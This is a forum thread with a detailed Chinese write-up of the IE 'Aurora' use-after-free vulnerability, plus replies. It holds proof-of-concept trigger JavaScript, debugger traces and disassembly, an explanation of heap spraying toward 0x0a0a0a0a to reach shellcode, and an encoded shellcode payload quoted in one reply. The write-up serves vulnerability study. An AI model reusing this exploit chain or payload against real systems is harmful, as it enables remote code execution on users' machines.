首页
论坛
课程
招聘

[原创+整理]IE极光漏洞的原理探秘

2010-1-25 06:13 35173

[原创+整理]IE极光漏洞的原理探秘

2010-1-25 06:13
35173
本篇参考以下文章:
[1]http://www.geoffchappell.com/viewer.htm?doc=notes/security/aurora/index.htm
[2]http://securitylabs.websense.com/content/Blogs/3530.aspx
[3]http://www.securityfocus.com/archive/1/508961

其中,[1]对此漏洞进行了极其详细的解说(就差告诉你怎么调试了),我就是看了它才了解细节上是怎么一回事,[2]则简要地进行了解说,而[3]则直接说出了调试的提示。

因此,我这里只是看了以上参考文章之后,依葫芦画瓢调试了一下,把关于调试和理解的部分整理了一下,观点并不是我自己首先得出来的。

调试环境:XP sp3 简体中文版系统,IE7(IE6更容易跳进shellcode,IE7跳进shellcode概率似乎不大,不过这里主要是为了讨论漏洞怎么来的,IE7虽跳不进shellcode,但是也会因为访问无效地址而抛出异常,照样可以断下,所以并不影响下面讨论)。

先观察PoC网页,这里的引用把heap spray等略掉了,完整的在附件:
......
function ev1(evt)

{

event_obj = document.createEventObject(evt);

document.getElementById("sp1").innerHTML = "";

window.setInterval(ev2, 1);

}



function ev2()

{

......


event_obj.srcElement;

}

......

<body>

<span id="sp1">

<img src="aurora.gif" onload="ev1(event)">

</span>

</body>

简单地理解,Body中有个span对象,span对象中包含一个img对象,img对象的onload响应例程中,调用createEventObject创建了相应event对象的一个副本,然后将span对象的innerHtml清空,这样导致img对象的释放。在此之后,创建一个定时器,在超时例程中访问新event对象的srcElement属性,应该是在这时候触发了漏洞。

winbg载入IE7(PoC文件名为命令行参数),IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久后抛出异常断下
(300.1ec): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=001ec7b0 ebx=44003000 ecx=44003000 edx=00206418 esi=02b609d8 edi=ffffffff
eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010206
mshtml!CElement::Doc:
3e5b1e60 8b01 mov eax,dword ptr [ecx] ds:0023:44003000=????????
Missing image name, possible paged-out or corrupt data.
Missing image name, possible paged-out or corrupt data.
0:005> kb
ChildEBP RetAddr Args to Child
019df814 3e582b2b 001f8af8 01e23920 3e80f27c mshtml!CElement::Doc
019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99
019df848 3e66d9c5 001ec768 01e23928 00988690 mshtml!CEventObj::get_srcElement+0x15
019df870 3e5b88a8 001ec768 00988690 001f8af8 mshtml!GS_IDispatchp+0x38
019df908 3e5b8dd9 001ec768 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef
019df934 75be29d7 001ec768 000003e9 00000409 mshtml!CBase::InvokeEx+0x25
019df96c 75be2947 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx2+0xac
019df9a4 75be31e5 00986940 001caa30 000003e9 jscript!IDispatchExInvokeEx+0x56
019dfa14 75be1c0a 00986940 001caa30 000003e9 jscript!InvokeDispatchEx+0x78
019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba
019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a
019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d
019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7
019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179
019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb
019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55
019dfdcc 3e5a763d 00204ee8 001c8060 00002000 mshtml!CWindow::ExecuteTimeoutScript+0x85
019dfe14 3e5a7611 001c97b8 001c97f1 019dfe48 mshtml!CWindow::FireTimeOut+0x91
019dfe24 3e5a77b5 00002000 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152
019dfe48 77d18734 0013020a 000000d6 00002000 mshtml!GlobalWndProc+0x181

从栈回溯信息看,这的确是在定时器例程中使用event_obj.srcElement时出现的异常。

触发异常的点很容易找,但是找到为什么却不容易。

关键是要了解CEventObj::get_srcElement怎么实现的,为什么这么实现,这是我看了[1]之后才了解的。简单地说,为在event中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是绕了几绕:CImgElement对象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CImgElement类指针。然后将CTreeNode对象的地址,保存在这个img的事件对象CEventObj类的一个EVENTPARAM结构中。

对此,参考文献[3]直接给出了调试的提示:
If you're interested in researching the vulnerability (using this PoC), breakpoint MSHTML!CImgElement::CImgElement, then run until MSHTML!CTreeNode::CTreeNode is hit -- this tree node is freed during MSHTML!CImgHelper::Fire_onerror, but is later accessed during
MSHTML!CEventObj::get_srcElement.


重新载入,在系统断点时输入命令bu mshtml!CImgElement::CImgElement,g运行,停在断点处一次,这时再次g运行,IE7出现网页脚本或ActiveX对象被阻止提示,确认允许运行,等许久让它Heap spray,之后又断在CImgElement::CImgElement
Breakpoint 0 hit
eax=002033d0 ebx=001ae3bc ecx=002033d0 edx=00000034 esi=001ae308 edi=0022ffe8
eip=3e553f4e esp=019dfb9c ebp=019dfba8 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CImgElement::CImgElement:
3e553f4e 8bff mov edi,edi

这时得到将创建的CImgElement对象指针,ecx=ecx=002033d0

bu CTreeNode::CTreeNode,运行断下
0:005> bu mshtml!CTreeNode::CTreeNode
0:005> g
Breakpoint 1 hit
eax=02b60880 ebx=00000000 ecx=02b60880 edx=00150608 esi=001db518 edi=00000055
eip=3e586fe7 esp=019dfb7c ebp=019dfb90 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CTreeNode::CTreeNode:
3e586fe7 8bff mov edi,edi
0:005> kb
ChildEBP RetAddr Args to Child
019dfb78 3e53ffc3 00203380 002033d0 00000000 mshtml!CTreeNode::CTreeNode
019dfb90 3e551f3d 019dfbe0 002033d0 00203380 mshtml!CHtmRootParseCtx::BeginElement+0x37
019dfbb8 3e53ff25 019dfbe0 002033d0 00203380 mshtml!CHtmTextParseCtx::BeginElement+0x71
019dfbe4 3e54012b 00000000 00000001 00000000 mshtml!CHtmParse::BeginElement+0x8c
019dfc08 3e53eb07 00000000 0022ffe8 00000000 mshtml!CHtmParse::ParseBeginTag+0x112
019dfc20 3e53fad6 00000034 00fa84cc 001de4a8 mshtml!CHtmParse::ParseToken+0x76
019dfcc8 3e53b620 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::ProcessTokens+0x1a4
019dfd84 3e53bd97 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Exec+0x15d
019dfd9c 3e53bd18 00fa84cc 001c7fb0 001de4a8 mshtml!CHtmPost::Run+0x13
019dfdb4 3e53c38f 001c7fb0 00fa84cc 001de4a8 mshtml!PostManExecute+0xdc
019dfdd4 3e53c2fc 001de4a8 00000001 019dfdf4 mshtml!PostManResume+0x9e
019dfde4 3e59f3ff 001fa800 001de4a8 019dfe28 mshtml!CHtmPost::OnDwnChanCallback+0x10
019dfdf4 3e5b79e2 001fa800 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19
019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101
019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181
019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28
019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150
019dff3c 77d18a10 019dff64 00000000 019dffb4 USER32!DispatchMessageWorker+0x306
019dff4c 3ed3e70b 019dff64 0013e490 0013e5b8 USER32!DispatchMessageW+0xf
019dffb4 7c80b699 001ab490 0013e490 0013e5b8 IEFRAME!CTabWindow::_TabWindowThreadProc+0x189

可以看到它是由CHtmRootParseCtx::BeginElement调用的,ecx=02b60880为CTreeNode类指针,该函数第二个参数002033d0正是刚刚创建的CImgElement类指针,函数调用CTreeNode::SetElement将该CImgElement类与CTreeNode关联:
.text:3E586FEC push esi
.text:3E586FED push [ebp+pCElementObject]
.text:3E586FF0 mov esi, ecx
.text:3E586FF2 or word ptr [esi+0Ah], 0FFFFh
.text:3E586FF7 or word ptr [esi+0Ch], 0FFFFh
.text:3E586FFC or word ptr [esi+0Eh], 0FFFFh
.text:3E587001 mov dword ptr [esi+10h], 1
.text:3E587008 call CTreeNode::SetElement(CElement *)

.text:3E586F69
.text:3E586F69 public: void __thiscall CTreeNode::SetElement(class CElement *) proc near
.text:3E586F69 ; CODE XREF: CTreeNode::CTreeNode(CTreeNode *,CElement *)+21p
.text:3E586F69
.text:3E586F69 pCElementObject = dword ptr 8
.text:3E586F69
.text:3E586F69 mov edi, edi
.text:3E586F6B push ebp
.text:3E586F6C mov ebp, esp
.text:3E586F6E mov eax, [ebp+pCElementObject]
.text:3E586F71 test eax, eax
.text:3E586F73 mov [ecx], eax
.text:3E586F75 jz short loc_3E586F7D
.text:3E586F75
.text:3E586F77 mov al, [eax+14h]
.text:3E586F7A mov [ecx+8], al
.text:3E586F7A
.text:3E586F7D
.text:3E586F7D loc_3E586F7D: ; CODE XREF: CTreeNode::SetElement(CElement *)+Cj
.text:3E586F7D pop ebp
.text:3E586F7E retn 4
.text:3E586F7E
.text:3E586F7E public: void __thiscall CTreeNode::SetElement(class CElement *) endp
.text:3E586F7E


步过以上部分,在此之后,网页代码使用createEventObject创建了event的副本,很囧的是,这个新的CEventObj类,当然copy了原来对象的EVENTPARAM结构,但是根据[1]的解释,在EVENTPARAM结构内容被copy的时候,并没有增加CTreeNode的访问计数!
CEvent::Create中调用EVENTPARAM::EVENTPARAM复制EVENTPARAM结构,但后者的代码中的确没有包括操作其中CTreeNode(在后面的CEventObj::get_srcElement函数分析中可以看出,CTreeNode类指针在EVENTPARAM结构的头部)增加访问计数的内容。

.text:3E6B4BC9
.text:3E6B4BC9 loc_3E6B4BC9: ; CODE XREF: CEventObj::Create(IHTMLEventObj * *,CDoc *,CElement *,CMarkup *,int,ushort *,EVENTPARAM *,int)+84j
.text:3E6B4BC9 push 0D8h ; dwBytes
.text:3E6B4BCE call _MemAlloc(x)
.text:3E6B4BCE
.text:3E6B4BD3 test eax, eax
.text:3E6B4BD5 jz short loc_3E6B4BE3
.text:3E6B4BD5
.text:3E6B4BD7 push [ebp+arg_18]
.text:3E6B4BDA mov ecx, eax
.text:3E6B4BDC call EVENTPARAM::EVENTPARAM(EVENTPARAM const *)
.text:3E6B4BDC
.text:3E6B4BE1 jmp short loc_3E6B4BE5
.text:3E6B4BE1

.text:3E582A41
.text:3E582A41 public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) proc near
.text:3E582A41 ; CODE XREF: CElement::get_nodeType(long *)-164050p
.text:3E582A41 ; .text:3E5BFDC3p
.text:3E582A41 ; .text:3E5C2363p
.text:3E582A41 ; CElement::FireStdEvent_KeyHelper(CTreeNode *,CMessage *,int *,EVENTINFO *)+7Ap
.text:3E582A41 ; CElement::get_nodeType(long *)-7B645p
.text:3E582A41 ; CElement::get_nodeType(long *)+5FEBp ...
.text:3E582A41
.text:3E582A41 pEventParam = dword ptr 8
.text:3E582A41
.text:3E582A41 mov edi, edi
.text:3E582A43 push ebp
.text:3E582A44 mov ebp, esp
.text:3E582A46 push ebx
.text:3E582A47 mov ebx, ecx
.text:3E582A49 push esi
.text:3E582A4A mov esi, [ebp+pEventParam]
.text:3E582A4D push edi
.text:3E582A4E xor eax, eax
.text:3E582A50 lea edi, [ebx+48h]
.text:3E582A53 stosd
.text:3E582A54 stosd
.text:3E582A55 stosd
.text:3E582A56 stosd
.text:3E582A57 xor edx, edx
.text:3E582A59 mov [ebx+0C4h], edx
.text:3E582A5F mov [ebx+0C8h], edx
.text:3E582A65 mov [ebx+0CCh], edx
.text:3E582A6B mov [ebx+0D0h], edx
.text:3E582A71 push 36h
.text:3E582A73 pop ecx
.text:3E582A74 mov edi, ebx
.text:3E582A76 rep movsd ; 直接copy了内容
.text:3E582A78 mov eax, [ebx+64h]
.text:3E582A7B and dword ptr [ebx+0A8h], 0FFFFFBFFh
.text:3E582A85 add dword ptr [eax+8], 8
.text:3E582A89 mov eax, [ebx+68h]
.text:3E582A8C cmp eax, edx
.text:3E582A8E jz short loc_3E582A94
.text:3E582A8E
.text:3E582A90 add dword ptr [eax+8], 8
.text:3E582A90
.text:3E582A94
.text:3E582A94 loc_3E582A94: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+4Dj
.text:3E582A94 mov eax, [ebx+6Ch]
.text:3E582A97 cmp eax, edx
.text:3E582A99 jnz loc_3E6A4170
.text:3E582A99
.text:3E582A9F
.text:3E582A9F loc_3E582A9F: ; CODE XREF: CElement::get_nodeType(long *)+13875j
.text:3E582A9F mov eax, [ebx+84h]
.text:3E582AA5 cmp eax, edx
.text:3E582AA7 jnz loc_3E6A4179
.text:3E582AA7
.text:3E582AAD jmp loc_3E6A4181
.text:3E582AAD
.text:3E582AAD public: __thiscall EVENTPARAM::EVENTPARAM(struct EVENTPARAM const *) endp
.text:3E582AAD
.text:3E582AB2
.text:3E582AB2 loc_3E582AB2: ; CODE XREF: CElement::get_nodeType(long *)+138EEj
.text:3E582AB2 pop edi
.text:3E582AB3 pop esi
.text:3E582AB4 mov eax, ebx
.text:3E582AB6 pop ebx
.text:3E582AB7 pop ebp
.text:3E582AB8 retn 4

.text:3E6A4170
.text:3E6A4170 loc_3E6A4170: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+58j
.text:3E6A4170 add dword ptr [eax+8], 8
.text:3E6A4174 jmp loc_3E582A9F
.text:3E6A4174
.text:3E6A4179 ; ---------------------------------------------------------------------------
.text:3E6A4179
.text:3E6A4179 loc_3E6A4179: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+66j
.text:3E6A4179 mov ecx, [eax]
.text:3E6A417B push eax
.text:3E6A417C call dword ptr [ecx+4]
.text:3E6A417F xor edx, edx
.text:3E6A417F
.text:3E6A4181
.text:3E6A4181 loc_3E6A4181: ; CODE XREF: EVENTPARAM::EVENTPARAM(EVENTPARAM const *)+6Cj
.text:3E6A4181 mov eax, [ebp+lpMem]
.text:3E6A4184 add eax, 0C4h
.text:3E6A4189 lea ecx, [ebx+0C4h]
.text:3E6A418F push eax
.text:3E6A4190 mov [ecx], edx
.text:3E6A4192 call CStr::Set(CStr const &)
.text:3E6A4192
.text:3E6A4197 mov esi, [ebp+lpMem]
.text:3E6A419A lea eax, [esi+0C8h]
.text:3E6A41A0 lea ecx, [ebx+0C8h]
.text:3E6A41A6 xor edi, edi
.text:3E6A41A8 push eax
.text:3E6A41A9 mov [ecx], edi
.text:3E6A41AB call CStr::Set(CStr const &)
.text:3E6A41AB
.text:3E6A41B0 lea eax, [esi+0CCh]
.text:3E6A41B6 lea ecx, [ebx+0CCh]
.text:3E6A41BC push eax
.text:3E6A41BD mov [ecx], edi
.text:3E6A41BF call CStr::Set(CStr const &)
.text:3E6A41BF
.text:3E6A41C4 lea eax, [esi+0D0h]
.text:3E6A41CA lea ecx, [ebx+0D0h]
.text:3E6A41D0 push eax
.text:3E6A41D1 mov [ecx], edi
.text:3E6A41D3 call CStr::Set(CStr const &)
.text:3E6A41D3
.text:3E6A41D8 lea ecx, [ebx+48h]
.text:3E6A41DB xor eax, eax
.text:3E6A41DD mov edi, ecx
.text:3E6A41DF stosd
.text:3E6A41E0 stosd
.text:3E6A41E1 add esi, 48h
.text:3E6A41E4 stosd
.text:3E6A41E5 push esi ; pvargSrc
.text:3E6A41E6 push ecx ; pvargDest
.text:3E6A41E7 stosd
.text:3E6A41E8 call VariantCopy(x,x)
.text:3E6A41E8
.text:3E6A41ED jmp loc_3E582AB2
.text:3E6A41ED

于是通过调用document.getElementById("sp1").innerHTML = "",导致CTreeNode和CImgElement的释放,看看CTreeNode开头处的CImgElement类指针是什么时候被改掉的,对CTreeNode类头部下硬件写入断点:
0:005> ba w 4 02b60880
0:005> g
Breakpoint 2 hit
eax=feeefeee ebx=00000000 ecx=00000011 edx=02b60360 esi=02b60360 edi=02b60884
eip=7c922c53 esp=019df8cc ebp=019df9b4 iopl=0 nv up ei pl nz ac pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010216
ntdll!RtlFillMemoryUlong+0x10:
7c922c53 f3ab rep stos dword ptr es:[edi]
0:005> kb
ChildEBP RetAddr Args to Child
019df8cc 7c96be06 02b60370 00000558 feeefeee ntdll!RtlFillMemoryUlong+0x10
019df9b4 7c98f7fa 00150000 50000061 02b60880 ntdll!RtlFreeHeapSlowly+0x2ea
019dfa28 7c96bc5a 00150000 50000061 02b60880 ntdll!RtlDebugFreeHeap+0x193
019dfb10 7c946045 00150000 40000060 02b60880 ntdll!RtlFreeHeapSlowly+0x37
019dfbe0 3e5b2038 00150000 00000000 02b60880 ntdll!RtlFreeHeap+0xf9
019dfbf4 3e7179d2 02b60880 3e593ed1 02b60880 mshtml!_MemFree+0x1c
019dfbfc 3e593ed1 02b60880 001dbff0 019dfc1c mshtml!CTreeNode::Release+0xe
019dfc0c 3e5b592b 02b60880 001dbff0 019dfd48 mshtml!CTreeNode::RemoveRef+0x22
019dfc1c 3e5c9a5c 001dbff0 001c8ae8 002033d0 mshtml!PlainRelease+0x33
019dfc2c 3e5d65bf 001c8ae8 001db6c0 00000000 mshtml!CTreeNode::NodeRelease+0x24
019dfd48 3e5a358a 000003eb 00000001 00000000 mshtml!CElement::FireEvent+0x36f
019dfd64 3e5a0fbb 001db6c0 019dfdd8 3e5a34ff mshtml!CImgElement::Fire_onload+0x13
019dfd70 3e5a34ff 00000004 001c7fb0 019dfe1c mshtml!CImgHelper::SetReadyStateImg+0x5c
019dfdd8 3e5a355e 001f6820 019dfdf4 3e59f3ff mshtml!CImgHelper::OnDwnChan+0x436
019dfde4 3e59f3ff 001f6820 001db6c0 019dfe28 mshtml!CImgHelper::OnDwnChanCallback+0x10
019dfdf4 3e5b79e2 001f6820 00000000 00000000 mshtml!CDwnChan::OnMethodCall+0x19
019dfe28 3e5b1602 019dfeb0 3e5b1551 00000000 mshtml!GlobalWndOnMethodCall+0x101
019dfe48 77d18734 000e021c 000000d4 00000000 mshtml!GlobalWndProc+0x181
019dfe74 77d18816 3e5b1551 000e021c 00008002 USER32!InternalCallWinProc+0x28
019dfedc 77d189cd 00000000 3e5b1551 000e021c USER32!UserCallWinProcCheckWow+0x150

看来随着这个过程中CTreeNode::Release的确被调用,该地址的内容也就被修改了,不再指向有效的CElement类(或其子类)对象。

接下来就是CEventObj::get_srcElement了,先IDA分析一下,当CEventObj::get_srcElement被调用时,进入CEventObj::GenericGetElement:

1. 调用CEventObj::GetParam得到EVENTPARAM结构指针

.text:3E582AF6 lea eax, [ebp+pEventParam]
.text:3E582AF9 push eax
.text:3E582AFA call CEventObj::GetParam(EVENTPARAM * *)

2. 从EVENTPARAM结构中得到相应CTreeNode指针:

.text:3E582B15 mov eax, [ebp+pEventParam]
.text:3E582B18 mov esi, [eax]

3. 从CTreeNode指针中直接得到CElement对象(这里对于原event来说,是其派生类CImgElement对象)指针,并调用CElement::Doc

.text:3E582B22 mov ebx, [esi]
.text:3E582B24 mov ecx, ebx
.text:3E582B26 call CElement::Doc(void)

4.CElement::Doc函数调用CElement::SecurityContext:

.text:3E5B1E60 mov eax, [ecx]
.text:3E5B1E62 mov edx, [eax+34h]
.text:3E5B1E65 call edx
.text:3E5B1E67 mov eax, [eax+0Ch]
.text:3E5B1E6A retn


在漏洞触发时,EVENTPARAM中带的CTreeNode类的内容已经不对了,从而从其中的CElement类地址也是不对的,这时把它作为CElement类指针调用CElement::Doc便会出错,导致抛出异常:
0:005> g
(6f0.478): Unknown exception - code 80010108 (first chance)
(6f0.478): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00199a38 ebx=00060006 ecx=00060006 edx=0023a748 esi=02b60880 edi=ffffffff
eip=3e5b1e60 esp=019df818 ebp=019df838 iopl=0 nv up ei pl nz na po nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000202
mshtml!CElement::Doc:
3e5b1e60 8b01 mov eax,dword ptr [ecx] ds:0023:00060006=????????
0:005> kb
ChildEBP RetAddr Args to Child
019df814 3e582b2b 001f9440 01e23920 3e80f27c mshtml!CElement::Doc
019df838 3e67f828 01e23928 000003e9 019df870 mshtml!CEventObj::GenericGetElement+0x99
019df848 3e66d9c5 001df4f8 01e23928 00988590 mshtml!CEventObj::get_srcElement+0x15
019df870 3e5b88a8 001df4f8 00988590 001f9440 mshtml!GS_IDispatchp+0x38
019df908 3e5b8dd9 001df4f8 000003e9 3e66d989 mshtml!CBase::ContextInvokeEx+0x4ef
019df934 75be29d7 001df4f8 000003e9 00000409 mshtml!CBase::InvokeEx+0x25
019df96c 75be2947 00986940 001bba58 000003e9 jscript!IDispatchExInvokeEx2+0xac
019df9a4 75be31e5 00986940 001bba58 000003e9 jscript!IDispatchExInvokeEx+0x56
019dfa14 75be1c0a 00986940 001bba58 000003e9 jscript!InvokeDispatchEx+0x78
019dfa5c 75be2fc3 00986940 019dfaac 00000002 jscript!VAR::InvokeByName+0xba
019dfb10 75be1123 019dfb54 00000000 009860b0 jscript!CScriptRuntime::Run+0xa7a
019dfb28 75be0f8a 019dfb54 00000000 00000000 jscript!ScrFncObj::Call+0x8d
019dfb98 75be2642 009860b0 019dfdb0 00000000 jscript!CSession::Execute+0xa7
019dfc88 75be24fe 00000000 00000001 019dfda0 jscript!NameTbl::InvokeDef+0x179
019dfd08 75be2e10 009860b0 00000000 00000000 jscript!NameTbl::InvokeEx+0xcb
019dfd38 3e5a76df 009860b0 00000000 3e5b1414 jscript!NameTbl::Invoke+0x55
019dfdcc 3e5a763d 001f8b80 001c7fb0 00002004 mshtml!CWindow::ExecuteTimeoutScript+0x85
019dfe14 3e5a7611 001c9708 001c9743 019dfe48 mshtml!CWindow::FireTimeOut+0x91
019dfe24 3e5a77b5 00002004 019dfeb0 3e5b1551 mshtml!GWMouseProc+0x152
019dfe48 77d18734 000e021c 000000d6 00002004 mshtml!GlobalWndProc+0x181

验证一下是不是原来的CTreeNode对象的指针位置:

0:005> dd ebp-8 l 1
019df830 00199a38
0:005> dd 00199a38 l 1
00199a38 02b60880
0:005> dd 02b60880 l 1
02b60880 00060006

可以看到[ebp-8]的EVENTPARAM结构体中的确还保留着指向原CTreeNode的地址值02b60880,而此时由于该处被修改了,当前值00060006为一个无效指针,当程序把它当成CElement类指针调用CElement::Doc时,就出现了访问无效内存的Access Violation异常。

这是触发不能进入shellcode的情况,如何进入shellcode呢?PoC中定时器超时例程前面的内容:
var data, tmp;



data = "";

tmp = unescape("%u0a0a% u0a0a"); //这里中间加了个空格,因为发现原来显示不正确

for (var i = 0 ; i < 4 ; i++)

data += tmp;

for (i = 0 ; i < obj.length ; i++ ) {

obj.data = data;

}

可以看到,网页代码在通过改变span对象的innerHtml造成CTreeNode对象的释放后,企图重用CTreeNode对象原来占有的内存空间,将其用0x0a0a填充。
可以推想,如果这个动作成功,那么原CTreeNode对象开头位置会被0x0a0a0a0a所覆盖,则:
1. CEventObj::GenericGetElement中取到的“CElement对象地址”也就会变成0x0a0a0a0a
2. 以此地址来调用CElement::Doc,将会访问dword ptr [0x0a0a0a0a]取虚函数表
3. 而由于之前的heap spray,0x0a0a0a0a处的DWORD值同样为0x0a0a0a0a,这样0x0a0a0a0a又被当成了虚函数表地址
4. dword ptr [0a0a0a0a+34]同样是0x0a0a0a0a,这样0x0a0a0a0a又被当成了虚函数的入口址
5. 以上导致代码变为call 0x0a0a0a0a,而同样地由于heap spray,在等效于nop的0x0a指令后面跟随的,就是shellcode代码,于是程序进入了shellcode代码。

小结:
1. 为在event中能够访问相应的Element,CEventObj并不是直接就在其类中保存一个CElement结构的指针,而是在CElement对象创建后,又创建了相应的CTreeNode对象,由CTreeNode对象的属性中保存CElement类指针,并将CTreeNode对象的地址,保存在CEventObj类的一个EVENTPARAM结构中。当网页代码中调用event.srcElement时,CEventObj::get_srcElement函数通过EVENTPARAM结构中保存的CTreeNode对象及其中保存的CElement对象指针来访问CElement对象。
2. 在使用createEventObject(event)创建event的副本的时候,EVENTPARAM结构同样被复制,然而EVENTPARAM中保存的CTreeNode对象的引用计数没有增加。
3. 第2点导致一旦在Element的event响应例程中调用createEventObject(event)之后取消相应Element(如PoC中将img所在的span的innerHtml清空),则相应的CTreeNode对象也会被释放,从而新event中的EVENTPARAM结构指向的CTreeNode指针不再有效而会被程序重用,而这时再使用新event的srcElement属性,将导致使用无效的CTreeNode对象地址,从而取到不正确的CElement对象地址,使CElement::Doc函数的调用出现异常。
4. 使用精心构造的网页代码,可以在上面的CTreeNode被释放后将原内存内容修改为特定的值,结合heap spray填充相应区域,可以使得CElement::Doc函数调用特别构造的shellcode代码,从而达到以浏览器进程的权限远程执行任意代码的目的。

[推荐]看雪工具下载站,全新登场!(Android、Web、漏洞分析还未更新)

最新回复 (70)
轩辕小聪 7 2010-1-25 06:16
2
0
附件为PoC网页,如果进入shellcode成功会弹出个计算器,貌似这个网上已经有了。 aurora.rar
上传的附件:
xupeihua 2010-1-25 08:24
3
0
囧。这么强大
espzj 2 2010-1-25 08:51
4
0
不错,顶一个。
frozenrain 2010-1-25 09:13
5
0
看来分析微软的漏洞还得用微软的家伙,至少官方给的资料是WINDBG相关的。
popeylj 6 2010-1-25 09:13
6
0
support ~!
空子 2010-1-25 09:19
7
0
无法学习,只能膜拜。
SniperChan 1 2010-1-25 09:38
8
0
还看不懂,好东西还是要支持的
crdchen 2010-1-25 10:04
9
0
膜拜,学习中
Evilmov 2010-1-25 10:09
10
0
膜拜中....
xtwksse 2010-1-25 10:10
11
0
被我的360浏览器给拦下来了。。。^_^
youstar 2 2010-1-25 10:18
12
0
小聪分析得不错,学习调试!
起来得太早了!
上传的附件:
feezd 2010-1-25 10:41
13
0
好强大啊,用ie的要小心了。
仙果 19 2010-1-25 10:53
14
0
不错。终于有分析的了。。。
呵呵
guobing 2010-1-25 11:04
15
0
这就是Google工程师提的漏洞啊。牛人。。看不懂。。。
kk378 2010-1-25 11:32
16
0
看不懂啊,还要在学习!!
espzj 2 2010-1-25 11:34
17
0
这个是google受到的Aurora Operation所用漏洞,Google工程师发现的是系统内核漏洞。
youstar 2 2010-1-25 12:05
18
0
不是的,谷歌那个只是提权滴!
riusksk 41 2010-1-25 12:51
19
0
膜拜楼主!!!
WisdomZh 2010-1-25 13:34
20
0
计算器被成功调出
轩辕小聪 7 2010-1-25 13:51
21
0
不是起来得太早,是通宵了
cqyxyxyx 2010-1-25 14:10
22
0
强大!怎么不说我们国内的安全人士发现的啊!
        同时:微软,你太"嘿"了。......
蚊香 3 2010-1-25 16:28
23
0
比专业人士还玩命
viphjw 2010-1-25 16:40
24
0
看不懂凑热闹进来友情捧场的飘过
skybright 2010-1-25 17:03
25
0
很好,很强大,前端时间也研究过,但是没有LZ这么深入!
youstar 2 2010-1-25 17:29
26
0
膜拜,好久没通宵了!
Cyane 1 2010-1-25 20:22
27
0
成功运行 学习学习 ~
netwind 13 2010-1-25 23:52
28
0
感谢分享,漏洞细节真复杂。

我是XP SP2 ,IE6.0
chunk_size 改大点是不是会好点,0X80000 没弹出计算器,chunk_size = 0x90000;  时弹出计算器。
龙行九天 2010-1-26 00:45
29
0
官方现在已经给出相应的补丁了。
tzl 10 2010-1-26 08:47
30
0
不错,学习一下
kagayaki 2010-1-26 11:00
31
0
[QUOTE=轩辕小聪;751279]附件为PoC网页,如果进入shellcode成功会弹出个计算器,貌似这个网上已经有了。 aurora.rar[/QUOTE]

太深了, 我连什么地方是"计算器"的字符串也看不出.....
unescape 好像解密不了: http://blog.gxceo.com/gj/base64.html

请问在这里吗?

payload = unescape("%uc931%ue983%ud9dd%ud9ee%u2474%u5bf4%u7381%u6f13%ub102%u830e%ufceb%uf4e2%uea93%u0ef5%u026f%u4b3a%u8953%u0bcd%u0317%u855e%u1a20%u513a%u034f%u475a%u36e4%u0f3a%u3381%u9771%u86c3%u7a71%uc368%u037b%uc06e%ufa5a%u5654%u0a95%ue71a%u513a%u034b%u685a%u0ee4%u85fa%u1e30%ue5b0%u1ee4%u0f3a%u8b84%u2aed%uc16b%uce80%u890b%u3ef1%uc2ea%u02c9%u42e4%u85bd%u1e1f%u851c%u0a07%u075a%u82e4%u0e01%u026f%u663a%u5d53%uf880%u540f%uf638%uc2ec%u5eca%u7c07%uec69%u6a1c%uf029%u0ce5%uf1e6%u6188%u62d0%u2c0c%u76d4%u020a%u0eb1");
gunandrose 2010-1-26 11:07
32
0
牛人!~我用ollydbg调了好几天,都搞不定ie7的shellcode跳转定位问题。看来还需要学习很多东西。windbg有什么学习资料?
netwind 13 2010-1-26 11:28
33
0
payload 对应的16进制 就是

31 c9 83 e9 ............
每两个一组反序就是了

16进制对应的 汇编代码是 调用 cals.exe的 shellcode
其中cals.exe字符串在shellcode里是加密了的 执行shellcode 是有个解码的过程的 所以看不到字符串在什么地方

“我用ollydbg调了好几天,都搞不定ie7的shellcode跳转定位问题”...


od载入iexplorer.exe 运行 弹出ie后选择打开poc  然后od会在异常的地方停下来,
